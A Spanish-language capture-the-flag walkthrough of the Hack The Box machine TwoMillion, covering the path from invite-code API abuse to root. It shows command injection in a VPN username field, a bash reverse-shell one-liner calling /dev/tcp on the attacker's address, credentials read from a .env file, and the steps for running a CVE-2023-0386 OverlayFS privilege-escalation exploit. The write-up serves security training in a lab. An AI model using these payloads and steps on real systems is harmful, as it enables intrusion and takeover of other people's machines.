# TwoMillion

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRi9EPJexkBSQq4y3PcK2%2FTwoMillion.png?alt=media&#x26;token=938826ce-0079-47f5-b44b-4319be57a55d" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

```
nmap -p- --open -Pn --min-rate 500 2million.htb 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FSAQL8i2aUUvrP97r2nNp%2FPasted%20image%2020231018135608.png?alt=media&#x26;token=2497e500-3534-486e-bb98-74f9f8b7321a" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos, vamos con la enumeración detallada de estos servicios.

```
nmap -p22,80 -sVC -Pn 2million.htb 
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FF0SXtyoskMIWi2H7ANZF%2FPasted%20image%2020231018135700.png?alt=media&#x26;token=e27b49a4-6f02-4ef5-a636-5e3c10b22630" alt=""><figcaption></figcaption></figure>

**VERSIONES**&#x20;

* Puerto 22 -> SSH -> OpenSSH 8.9
* Puerto 80 -> HTTP -> nginx

### Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FVJNZeOXbe8nyaf8g3pSC%2FPasted%20image%2020231018135845.png?alt=media&#x26;token=497ec0b0-dbc1-4352-a2c4-6ecd35c25d14" alt=""><figcaption></figcaption></figure>

Parece el sitio Web de una plataforma de CTF. Continuamos enumerando directorios y archivos interesantes en el sistema.

```
dirsearch -u http://2million.htb -i 200,301
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fro0VXqnXQAGXJPG61F3s%2FPasted%20image%2020231019215749.png?alt=media&#x26;token=9929f81a-fde9-4be0-9cc9-f6324980f614" alt=""><figcaption></figcaption></figure>

Solo vemos algo interesante en /register.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FW5tcnjLjqodHN6Bwm4Z3%2FPasted%20image%2020231019220016.png?alt=media&#x26;token=d7b322f4-d04c-4394-a285-7b5a803a30a3" alt=""><figcaption></figcaption></figure>

Se solicita un "Invite code". Seguimos enumerando de forma manual el sitio Web.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXwdfjAYxMNijxlTeEDHl%2FPasted%20image%2020231019220107.png?alt=media&#x26;token=4cfad948-8ee2-4957-8a21-c2d2f85b21c0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPBPZMnei5e6VyED7nQrO%2FPasted%20image%2020231019220117.png?alt=media&#x26;token=4e39c16c-3753-4e53-b240-fc367790f26d" alt=""><figcaption></figcaption></figure>

Vamos a analizar el código fuente de este sitio Web para buscar vectores de entrada.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FuSICVNzogLTJ3cQ2b2Ip%2FPasted%20image%2020231019220319.png?alt=media&#x26;token=996224b1-04bc-41e9-b69c-0ac1b8e1ac7d" alt=""><figcaption></figcaption></figure>

Abrimos el archivo señalado y copiamos el contenido en beautifier.io para hacer el código leíble.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZnjh9jXZiipR7eHI1eLv%2FPasted%20image%2020231019220615.png?alt=media&#x26;token=cc26a9e5-ad03-46b9-aec5-a891e3592275" alt=""><figcaption></figcaption></figure>

Observamos la función "makeInviteCode" para comprobar como se genera el "Invite code".

```
curl -sq -X POST http://2million.htb/api/v1/invite/how/to/generate | jq.
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FCbT61iJx8B8lhSGwhjTZ%2FPasted%20image%2020231019221302.png?alt=media&#x26;token=52d40443-2d07-4499-8d65-1cf584e2112a" alt=""><figcaption></figcaption></figure>

Encontramos un mensaje cifrado en ROT13. Vamos a descifrarlo utilizando el sitio Web rot13.com.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7npnzKziHNRfPVcKOdiQ%2FPasted%20image%2020231019221415.png?alt=media&#x26;token=ed7af316-dfce-4ff6-9ce8-dd320ae34ca4" alt=""><figcaption></figcaption></figure>

Obtenemos el mensaje "In order to generate the invite code, make a POST request to /api/v1/invite/generate" Volvemos a realizar una solicitud POST a /api/v1/invite/generate usando curl.

```
curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq.
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FygcZnwkcmaqYV3ixhhxV%2FPasted%20image%2020231019221611.png?alt=media&#x26;token=ac0c632c-6280-4734-9b69-79a649c18291" alt=""><figcaption></figcaption></figure>

Obtenemos un valor cifrado en base64. Vamos a tratar de generar la misma petición pero descifrando este serial.

```
curl -sq -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r | base64 -d
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDSTsgq5RjYXJ8hEpbtoG%2FPasted%20image%2020231019221823.png?alt=media&#x26;token=04be1afb-f906-4edf-bff3-3e796d95aba7" alt=""><figcaption></figcaption></figure>

Finalmente, obtenemos el código de invitación. Ahora vamos a tratar de registrarnos en la plataforma.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FKdx4JVJRn60WtVNAXRHg%2FPasted%20image%2020231019222145.png?alt=media&#x26;token=5e403d53-d8ff-4f62-9978-035bcd69228b" alt=""><figcaption></figcaption></figure>

## Explotación

Accedemos al sitio Web original de la plataforma Hack The Box. El sitio informa que está realizando migraciones de base de datos y que algunas funciones no están disponibles. En realidad, esto significa que la mayoría de las funciones no están disponibles. Los enlaces del "Panel de control", "Reglas" y "Registro de cambios" bajo la sección "Principal" funcionan y redirigen a páginas que recuerdan la apariencia original de HTB. Bajo la sección "Laboratorios", el único enlace que realmente funciona es la página de "Acceso", que lleva a /home/access. Después haremos clic en "Connection Pack" o en "Regenerate" para envia una petición enviar una GET a a la API /api/v1/user/vpn/regenerate.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F18O1eaY1oxpTFvC03fDi%2FPasted%20image%2020231019222952.png?alt=media&#x26;token=a3990b2e-86a6-46ae-885b-dff285e82521" alt=""><figcaption></figcaption></figure>

Vamos a jugar con la API. Si lanzamos una petición a /api/v1, devuelve una descripción de la petición a la API.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FrN0eGnqiP8c0t3ikqWxe%2FPasted%20image%2020231019224316.png?alt=media&#x26;token=b12886d9-64ea-4142-9260-f24ed8377caf" alt=""><figcaption></figcaption></figure>

```
{
    "v1": {
        "user": {
            "GET": {
                "\/api\/v1": "Route List",
                "\/api\/v1\/invite\/how\/to\/generate": "Instructions on invite code generation",
                "\/api\/v1\/invite\/generate": "Generate invite code",
                "\/api\/v1\/invite\/verify": "Verify invite code",
                "\/api\/v1\/user\/auth": "Check if user is authenticated",
                "\/api\/v1\/user\/vpn\/generate": "Generate a new VPN configuration",
                "\/api\/v1\/user\/vpn\/regenerate": "Regenerate VPN configuration",
                "\/api\/v1\/user\/vpn\/download": "Download OVPN file"
            },
            "POST": {
                "\/api\/v1\/user\/register": "Register a new user",
                "\/api\/v1\/user\/login": "Login with existing user"
            }
        },
        "admin": {
            "GET": {
                "\/api\/v1\/admin\/auth": "Check if user is admin"
            },
            "POST": {
                "\/api\/v1\/admin\/vpn\/generate": "Generate VPN for specific user"
            },
            "PUT": {
                "\![[Pasted image 20231020104203.png]]": "Update user settings"
            }
        }
    }
}
```

Donde encontramos la dirección de la API donde se realizan las consultar para comprobar si un usuario es admin: /api/v1/admin/auth. Vamos a enumerar la API de administrator.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FB69jHXYnOI9FGVdhxn9X%2FPasted%20image%2020231019225554.png?alt=media&#x26;token=1dc7ec48-975d-4e4f-b22f-51e641faa9c7" alt=""><figcaption></figcaption></figure>

Ya sabemos que no somos usuario administrador. Vamos a jugar con las diferentes peticiones que se indican en la descripción de la API.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9X0ZCupfu1vUaVGrgTyK%2FPasted%20image%2020231020104204.png?alt=media&#x26;token=0f2a9f54-4747-460d-a40f-c4e9d801695c" alt=""><figcaption></figcaption></figure>

Para representar datos estructurados, debemos indicar Content-Type: json

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FQzIuDy3I5cGNv2yJgn8H%2FPasted%20image%2020231020104857.png?alt=media&#x26;token=580fb2f3-6a99-48fe-bd0d-bea4557a0420" alt=""><figcaption></figcaption></figure>

Le debemos indicar un email como parámetro. Le indicaremos el que hemos utilizado para registrarnos.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FprW6pittJQOLJl1tVFya%2FPasted%20image%2020231020105042.png?alt=media&#x26;token=c5a299be-30a0-486c-8a97-3a4de6fbcaeb" alt=""><figcaption></figcaption></figure>

Nos pide indicar si el usuario "id\_admin". Se indica con un 0 o 1.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FyW19yGU4vTA8Ojg1ECnK%2FPasted%20image%2020231020105315.png?alt=media&#x26;token=833afc5a-987b-4dcc-aa87-9f1a5a50ba15" alt=""><figcaption></figcaption></figure>

Tras hacer esto, vamos a confirmar que somos admin.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FnY2MKm0lOHYJgFQXx5hy%2FPasted%20image%2020231020105533.png?alt=media&#x26;token=ca62339d-58c4-4b64-bea8-7fcd1eb216a9" alt=""><figcaption></figcaption></figure>

Ahora el siguiente paso será generar una VPN con usuario admin.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Flr8FFJnE8dMpCRscawSd%2FPasted%20image%2020231020110217.png?alt=media&#x26;token=9c44682d-24c1-4811-b3b8-76f0c5d173a3" alt=""><figcaption></figcaption></figure>

Nos pide un nombre de usuario para generar la VPN.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F6ZBqJiMIyW4O75lXebrV%2FPasted%20image%2020231020110351.png?alt=media&#x26;token=b912da61-66e6-4bba-ba42-9a3bc183423a" alt=""><figcaption></figcaption></figure>

Hemos generado un archivo de configuración de VPN. Dado que se utilizan las funciones PHP del sistema o exec para crear esta VPN, es posible que no existan todas las protecciones necesarias para evitar que se inyecte código malicioso en el campo de username. Insertando el comando ;id; después del nombre de usuario, comprobamos que es correcta nuestra suposición.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FAryW3ce9QLvdUnTdvp5d%2FPasted%20image%2020231020110927.png?alt=media&#x26;token=c1b33915-10ae-4291-9852-96e9e95e125c" alt=""><figcaption></figcaption></figure>

Parece que podemos inyectar comandos, vamos a utilizar este vector para tratar de ejecutar una reverse shell de la siguiente forma:

```
bash -c 'bash -i >&/dev/tcp/10.10.16.6/1234 0>&1';
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUiyEXsctmJ1T1sLXLNtk%2FPasted%20image%2020231020112018.png?alt=media&#x26;token=27db6e88-0d52-4bb4-8777-508ac1803905" alt=""><figcaption></figcaption></figure>

Configuramos por otro lado un oyente nc en el puerto 1234.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUJDNJMyOd0s0OceI9ucc%2FPasted%20image%2020231020111836.png?alt=media&#x26;token=2dcc12fc-457b-425e-aee3-f60a02a7a9e1" alt=""><figcaption></figcaption></figure>

Y obtenemos acceso al sistema.

## Pivotando de www-data a usuario admin

Enumerando el directorio al que hemos obtenido acceso vía shell, vemos un archivo .env que puede ser interesante. Este archivo suele contener credenciales, hashes... Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fx5lW5IntIZ0H8imb0oW8%2FPasted%20image%2020231020112807.png?alt=media&#x26;token=22ed2626-e158-4cb6-88ff-b53eb1ec4e26" alt=""><figcaption></figcaption></figure>

Encontramos unas credenciales para el usuario admin. admin:SuperDuperPass123. Vamos a tratar de acceder al sistema con estas credenciales.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FPkPypRRPcw5VyVyEiVWa%2FPasted%20image%2020231020112914.png?alt=media&#x26;token=78bea822-d59c-476a-abc9-c56641977ac3" alt=""><figcaption></figcaption></figure>

Obtenemos acceso como usuario admin. Vamos a buscar la flag de usuario user.txt. Aunque antes de seguir avanzando, vamos a hacer la terminal interactiva.

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fwvgi6Szsuymh8PN87t5g%2FPasted%20image%2020231020113145.png?alt=media&#x26;token=4b2ce93e-1766-4650-a393-1870c2e05755" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FOg1rjFYYecvZR4gEBvGp%2FPasted%20image%2020231020113058.png?alt=media&#x26;token=185e0111-2ff0-4320-9192-a4e63b9b1e01" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez hemos accedido al sistema con bajos privilegios y hemos obtenido la flag user.txt, vamos a tratar de elevar privilegios dentro del sistema. Al acceder al sistema a través de SSH con las credenciales que obtuvimos anteriormente, encontramos el siguiente mensaje.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F9UF4ldhd7YaRNVW7h3dJ%2FPasted%20image%2020231020114501.png?alt=media&#x26;token=95650eef-89e4-4280-b12a-5a7400b9598d" alt=""><figcaption></figcaption></figure>

Parece una notificación de email. La carpeta de email suele esta en el directorio /var/mail. Veamos su contenido.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FfmkIkINz2G9Qv7hZiiyd%2FPasted%20image%2020231020114628.png?alt=media&#x26;token=c50c4234-9886-4e9f-a5d7-eed5ffc897b9" alt=""><figcaption></figcaption></figure>

"I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that. " Parece que existe una vulnerabilidad crítica en el kernel de Linux. Vamos a buscar información sobre ella.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FWxOXtDNW9Ebaol3DmVf3%2FPasted%20image%2020231020114839.png?alt=media&#x26;token=b9d905e2-6cc2-4c07-bc00-7ca72f0a2ed5" alt=""><figcaption></figcaption></figure>

Si buscamos en Google información sobre esta vulnerabilidad, encontramos en CVE-2023-0386

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiPYSvOSePqGB0PdexLZy%2FPasted%20image%2020231020115025.png?alt=media&#x26;token=336631f8-5700-4bf9-a91a-368d079eaba2" alt=""><figcaption></figcaption></figure>

Encontramos el siguiente exploit en [GitHub](https://github.com/xkaneiki/CVE-2023-0386). Vamos a tratar de utilizarlo para la elevación de privilegios. Descargamos el POC en un archivo ZIP. Lo enviamos a la máquina objetivo haciendo uso de scp.

```
sshpass -p SuperDuperPass123 scp CVE-2023-0386-main.zip admin@2million.htb:/tmp/
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FMliity7jDDhQDWVnH58e%2FPasted%20image%2020231020120114.png?alt=media&#x26;token=5d680d18-ffb8-4e75-8e34-65ffc0d8af29" alt=""><figcaption></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FEDBkHjqDNhMb0Cu2DkR9%2FPasted%20image%2020231020120127.png?alt=media&#x26;token=fdd773ba-7dac-4b78-9b0b-3212fed16810" alt=""><figcaption></figcaption></figure>

Ya tenemos el archivo en el equipo objetivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fdi4GuCD3qrPrIRAsY2aO%2FPasted%20image%2020231020120229.png?alt=media&#x26;token=fd253beb-356a-4f98-b461-132c4687188a" alt=""><figcaption></figcaption></figure>

Descomprimimos el archivo y accedemos al directorio creado.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fz3oVJseZ9QZCnNCp8A4S%2FPasted%20image%2020231020120321.png?alt=media&#x26;token=75b3335e-8d90-4c72-bf53-8819e00f16e9" alt=""><figcaption></figcaption></figure>

Como indica el archivo README.md, ejecutamos `make all` para compilar todos los archivos necesarios.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FoUIIxRNAf6keXlrmpRJs%2FPasted%20image%2020231020120444.png?alt=media&#x26;token=7a6a104a-5984-4776-abdb-c581f636e613" alt=""><figcaption></figcaption></figure>

Vamos a explotar la vulnerabilidad. En la misma terminal de comandos donde nos encontramos, ejecutamos lo siguiente:

```
./fuse ./ovlcap/lower ./gc
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FwuU0psZhEEMmGhn2BosR%2FPasted%20image%2020231020120716.png?alt=media&#x26;token=c912142f-f0e9-4581-a967-3529d854c47e" alt=""><figcaption></figcaption></figure>

Y por otro lado, abrimos otra terminal dentro de la máquina víctima, volvemos a acceder al directorio creado cuando hemos descomprimido el ZIP del exploit y ejecutamos `./exp`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FO1qujVGpf1igPSJmdf1i%2FPasted%20image%2020231020120845.png?alt=media&#x26;token=04254d25-e944-4c87-b48f-498417a4263a" alt=""><figcaption></figcaption></figure>

Ya tendremos acceso al sistema como usuario con privilegios elevados. Vamos ahora a buscar la flag root.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZMdvnlSp0j0pTah5Z4yc%2FPasted%20image%2020231020121629.png?alt=media&#x26;token=32b95bb2-fc7b-4e9f-8f2d-1bff0732d522" alt=""><figcaption></figcaption></figure>

Y ya tendríamos acabada la maquina TwoMillion de HTB.
